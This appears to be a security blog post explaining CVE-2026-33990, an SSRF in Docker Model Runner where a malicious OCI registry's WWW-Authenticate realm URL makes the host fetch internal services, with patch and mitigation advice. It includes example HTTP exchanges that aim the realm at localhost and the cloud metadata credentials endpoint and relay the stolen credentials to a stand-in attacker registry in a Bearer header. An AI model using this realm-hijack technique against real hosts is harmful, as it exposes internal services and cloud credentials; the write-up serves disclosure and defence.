Request change

Docker Model Runner SSRF - OCI Registry Realm Hijack Exposes Internal Network & Cloud Credentials

Docker Model Runner's OCI token exchange follows the WWW-Authenticate: realm URL without validating scheme, hostname, or IP range. A malicious registry sets the realm to http://127.0.0.1:3000/ - and Model Runner, running on the host, fetches it and reflects the full response body back to the caller.

Docker Model Runner SSRF - OCI Registry Realm Hijack Exposes Internal Network & Cloud Credentials

CVE-2026-33990: Malicious OCI Registry β†’ Internal Network.

Docker Model Runner’s OCI token exchange follows the WWW-Authenticate: realm URL without validating scheme, hostname, or IP range. A malicious registry sets the realm to http://127.0.0.1:3000/ - and Model Runner, running on the host, fetches it and reflects the full response body back to the caller.

When a user pulls a model, Docker Model Runner performs a standard OCI token exchange - it sends a request to the URL in the registry’s WWW-Authenticate header’s realm parameter to obtain a bearer token. The vulnerability: no validation. A malicious registry can set the realm to any URL - including http://169.254.169.254/ (cloud IMDS), http://localhost:8080/ (local services), or any internal endpoint - and the response is reflected back to the attacker. A second channel exists: the fetched content is relayed via Authorization: Bearer back to the attacker-controlled registry.

What Is Docker Model Runner?

Docker Model Runner (DMR) is Docker’s tooling for managing, running, and deploying AI/LLM models using Docker infrastructure. It allows developers to pull AI models from OCI-compatible registries - using the same docker pull semantics familiar from container images - and run them locally on the host. It is a core component of Docker Desktop for teams running local AI inference.

When Docker Model Runner pulls a model, it follows the standard OCI distribution specification for authenticating against a registry. This includes the token exchange flow: when a registry responds with HTTP 401 and a WWW-Authenticate header, the client is supposed to fetch a bearer token from the URL specified in the header’s realm parameter, then use that token for subsequent requests. This is the flow where the vulnerability lives.

πŸ’‘ Affected Deployment Surface Docker Model Runner runs as a process on the host machine - not inside a container. It is exposed to containers via a Unix socket or TCP. This host-level execution context is what makes SSRF particularly dangerous here: the process making the forged request has access to host-local services, the loopback interface, and internal network ranges that a containerised service would typically not.

The Root Cause - Unvalidated realm URL

The OCI token exchange flow requires the client to make an HTTP GET request to the URL specified in the registry’s WWW-Authenticate header. Docker Model Runner followed this URL without performing any validation on the scheme, hostname, or IP range. All three checks were missing.

The standard OCI distribution spec describes the WWW-Authenticate response header format:

# Step 1: Client attempts to pull a model (unauthenticated)
GET /v2/mymodel/manifests/latest HTTP/1.1
Host: registry.malicious.com

# Step 2: Registry responds 401 with WWW-Authenticate header
# VULNERABLE: realm is set to an internal URL
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="http://127.0.0.1:3000/token",service="registry"

# Step 3: Model Runner follows realm URL WITHOUT validation
# It makes a GET request to the attacker-specified internal URL
GET /token?service=registry HTTP/1.1
Host: 127.0.0.1:3000    # ← runs on HOST, accesses host-local service!

# Step 4: Response from internal service is reflected back to caller
# Full response body returned - SSRF data exfiltration
HTTP/1.1 200 OK
{"internal_data": "sensitive host service response"}  # ← reflected to attacker

Three independent validation checks were all absent:
- No scheme validation - file://, http://, or any other scheme accepted
- No hostname validation - localhost, 127.0.0.1, internal hostnames all accepted
- No IP range validation - loopback (127.0.0.0/8), link-local (169.254.0.0/16), RFC-1918 private ranges all accepted

The Direct Quote from the Advisory "A malicious OCI registry can set the realm to an internal URL (e.g., `http://127.0.0.1:3000/`), causing Model Runner running on the host to make arbitrary GET requests to internal services and reflect the full response body back to the caller."

Attack Chain - From Model Pull to Internal Data

01. Attacker operates a malicious OCI registry

This can be as simple as a convincing-looking model registry hosted at any domain. The attacker just needs the victim to pull any model from it - social engineering, a malicious dependency, or a compromised upstream registry all qualify.

02. Victim runs: docker model pull registry.attacker.com/mymodel

The user initiates a normal model pull. Model Runner contacts the registry and receives a 401 with the malicious WWW-Authenticate header setting realm to an internal URL.

03. Model Runner fetches the realm URL - on the host

Model Runner, running as a host-level process, makes an HTTP GET request to the attacker-specified realm URL without validation. Because it runs on the host, it can reach 127.0.0.1 (local services), 169.254.169.254 (cloud metadata APIs), or any internal network address reachable from the host.

04. Full response body reflected back to the pull caller

Whatever the internal service responds with - Docker daemon’s API, cloud IMDS credentials, local web services, internal API endpoints - is reflected as the token exchange response. The attacker can read this data through their registry or via the second exfiltration channel described below.

Two Ways Data Leaves - Response Reflection + Bearer Relay

What makes this SSRF particularly powerful is that the advisory documents two separate exfiltration paths for internal service data. Even if one is blocked, the other may succeed.

Channel 1 - Direct Response Reflection

The most direct path: the full HTTP response body from the internal service is returned to whoever initiated the model pull. If the attacker or the attacker’s code is the pull initiator, they receive the internal service’s response directly in the token exchange reply.

Channel 2 - Authorization: Bearer Header Relay

The second channel is subtler. In the OCI token exchange flow, after obtaining a token from the realm URL, the client uses that token in the Authorization: Bearer <token> header for subsequent registry requests. The advisory notes: "the token exchange mechanism can relay data from internal services back to the attacker-controlled registry via the Authorization: Bearer header."

Concretely: whatever content the internal service returns becomes the “token” that Model Runner places in the Authorization header of its next request back to the attacker’s registry. The attacker’s registry logs that header - and now has the internal service’s response, delivered automatically by the victim’s client in a legitimate-looking HTTP header.

# Step 1: realm fetched β†’ internal service returns sensitive data
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
Response: {"AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "..."}

# Step 2: Model Runner treats this as a bearer token
# Sends it to the attacker's registry in the Authorization header
GET /v2/mymodel/manifests/latest HTTP/1.1
Host: registry.attacker.com
Authorization: Bearer {"AccessKeyId":"ASIA...","SecretAccessKey":"...",...}
# ↑ attacker's server logs this header - IAM credentials exfiltrated

CVSS 7.1 - Understanding the Score

csrf1.png

The score is 7.1 (High) rather than Critical primarily because user interaction is passive - a model pull must occur - and because the attack is read-only (confidentiality only, no integrity or availability impact). However, “passive interaction” in this context means anything that causes a model pull: a developer running their normal workflow, an automated AI assistant, or a compromised dependency that triggers a pull.

What an Attacker Can Actually Reach

The impact of an SSRF depends entirely on what services are accessible from the host running Model Runner. Given that Docker Desktop typically runs on developer workstations and development servers, the internal targets are high-value:

csrf2.png

⚠ Unprivileged Container β†’ Host Internal Services The advisory explicitly lists this attack scenario: `"An unprivileged container that has access to Model Runner's socket or TCP endpoint can trigger this SSRF to reach host-local services."` A container running with no special privileges, simply by sending a crafted model pull request to Model Runner, can reach services on the host's loopback interface. This is a significant container escape-adjacent risk.

This Isn’t the First OCI WWW-Authenticate SSRF

The exact same vulnerability class - trusting the WWW-Authenticate: Bearer realm= URL without validation - hit malcontent (chainguard-dev) in January 2026 (CVE-2026-24845). That package used google/go-containerregistry for OCI pulls, which by default uses the Docker credential keychain and trusted the realm URL, causing credentials to be sent to attacker-controlled endpoints.

The pattern is consistent: any OCI client that implements the Bearer token exchange and follows the realm URL without validation is vulnerable to SSRF if the attacker can control the registry the client is talking to. This is a class of vulnerability, not a one-off - and any Go code using OCI libraries should verify that realm URL validation is in place.

csrf3.png

What Was Fixed in v1.1.25

The fix validates the realm URL before following it in the OCI token exchange. The correct fix blocks three categories of dangerous URLs:

  • Scheme validation - only https:// (and optionally http:// for explicitly configured insecure registries) allowed. file://, ftp://, and other schemes rejected.
  • Hostname validation - localhost and 127.0.0.1 rejected unless the registry itself is localhost (explicit opt-in).
  • IP range validation - loopback (127.0.0.0/8), link-local (169.254.0.0/16), and RFC-1918 private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) blocked.

csrf4.png

⚠ ECI Workaround Is Partial - Still Exploitable in Some Configurations Enhanced Container Isolation blocks container access to Model Runner via the Docker socket, preventing the container-to-host attack path. However, the advisory notes: `"if the Docker Model Runner is exposed to localhost over TCP in specific configurations, the vulnerability is still exploitable"` even with ECI enabled. The only full remediation is upgrading to v1.1.25 / Docker Desktop 4.67.0.

What to Do Right Now

  1. Update Docker Desktop to 4.67.0+ immediately. This is the primary action for the vast majority of users. Check: Docker Desktop β†’ Check for Updates.
  2. If using Docker Model Runner as a standalone Go module: upgrade to github.com/docker/model-runner v1.1.25 in your go.mod.
  3. Enable Enhanced Container Isolation (ECI) in Docker Desktop settings as an additional layer - even on patched versions, ECI provides defence-in-depth against container β†’ host attacks.
  4. Audit which OCI registries your team pulls models from. If you are pulling from any registry you do not fully control, treat those pulls as untrusted. Consider running model pulls in an isolated environment.
  5. If you were running an unpatched version and pulling models from external registries: audit network logs for unexpected connections to 169.254.169.254, 127.0.0.1, or other internal addresses initiated by the Model Runner process.
  6. If running in cloud environments (AWS/Azure/GCP) with an exposed IMDS endpoint: verify that your cloud metadata service’s response logs show no unexpected access from the Docker Model Runner process during the exposure window.

A Textbook OCI SSRF - Patch Immediately

CVE-2026-33990 is a clean, well-understood vulnerability class applied to a modern AI infrastructure tool. The missing validation is simple in retrospect - three lines of URL checking that were absent from the realm URL handling. The impact is meaningful: a malicious OCI registry can use it to enumerate any service reachable from the developer’s host, including cloud metadata credentials and local API keys.

What makes this particularly relevant today is that Docker Model Runner is increasingly used in developer workflows for running local AI models - and AI model pull operations are becoming as routine as container image pulls. Every model pull from an untrusted registry was an opportunity to exploit this vulnerability on an unpatched installation.

The broader lesson - reinforced by CVE-2026-24845 hitting the same pattern in malcontent just two months earlier - is that OCI WWW-Authenticate realm validation is a class of security control that every OCI client implementation should explicitly verify it has in place.

Update Docker Desktop. Never Trust Registry Realm URLs. Validate Everything.

An OCI client that trusts the registry’s WWW-Authenticate realm URL is handing the registry a server-side request proxy. Validate scheme, hostname, and IP range - or block internal ranges by default.

Share
Like this post?

Request a change or update

Suggest a correction or content update. The post author or an admin will be notified and can resolve or respond.

Comments (0)

No comments yet. Be the first to share your thoughts.

Leave a comment